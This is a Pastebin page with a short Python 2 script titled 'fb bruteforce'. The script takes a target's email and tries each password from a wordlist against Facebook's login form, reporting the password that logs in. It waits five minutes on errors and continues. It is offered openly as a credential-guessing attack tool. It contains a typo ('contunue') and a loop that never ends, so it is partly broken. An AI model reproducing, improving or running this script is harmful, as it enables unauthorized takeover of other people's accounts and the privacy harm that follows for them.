Advertisement
AbdulMuttaqin

fb bruteforce

Apr 22nd, 2019
1,455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.34 KB | None | 0 0
  1. import time
  2. import sys
  3.  
  4. if sys.version_info[0] !=2:
  5.     print('''--------------------------------------
  6.     REQUIRED PYTHON 2.x
  7.     use: python fb2.py
  8. --------------------------------------
  9.             ''')
  10.     sys.exit()
  11.  
  12. post_url='https://www.facebook.com/login.php'
  13. headers = {
  14.     'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
  15. }
  16.  
  17. try:
  18.     import mechanize
  19.     import urllib2
  20.     browser = mechanize.Browser()
  21.     browser.addheaders = [('User-Agent',headers['User-Agent'])]
  22.     browser.set_handle_robots(False)
  23. except:
  24.     print('\n\tPlease install mechanize.\n')
  25.     sys.exit()
  26.  
  27. print('\n---------- Welcome To Facebook BruteForce ----------\n')
  28. file=open('passwords.txt','r')
  29.  
  30. email=str(raw_input('Enter Email/Username : ').strip())
  31.  
  32. print "\nTarget Email ID : ",email
  33. print "\nTrying Passwords from list ..."
  34.  
  35. i=0
  36. while file:
  37.     passw=file.readline().strip()
  38.     i+=1
  39.     if len(passw) < 6:
  40.         contunue
  41.     print str(i) +" : ",passw
  42.     response = browser.open(post_url)
  43.     try:
  44.         if response.code == 200:
  45.             browser.select_form(nr=0)
  46.             browser.form['email'] = email
  47.             browser.form['pass'] = passw
  48.             response = browser.submit()
  49.             if 'Find Friends' in response.read():
  50.                 print('Your password is : ',passw)
  51.                 break
  52.     except:
  53.         print('\nSleeping for time : 5 min\n')
  54.         time.sleep(300)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement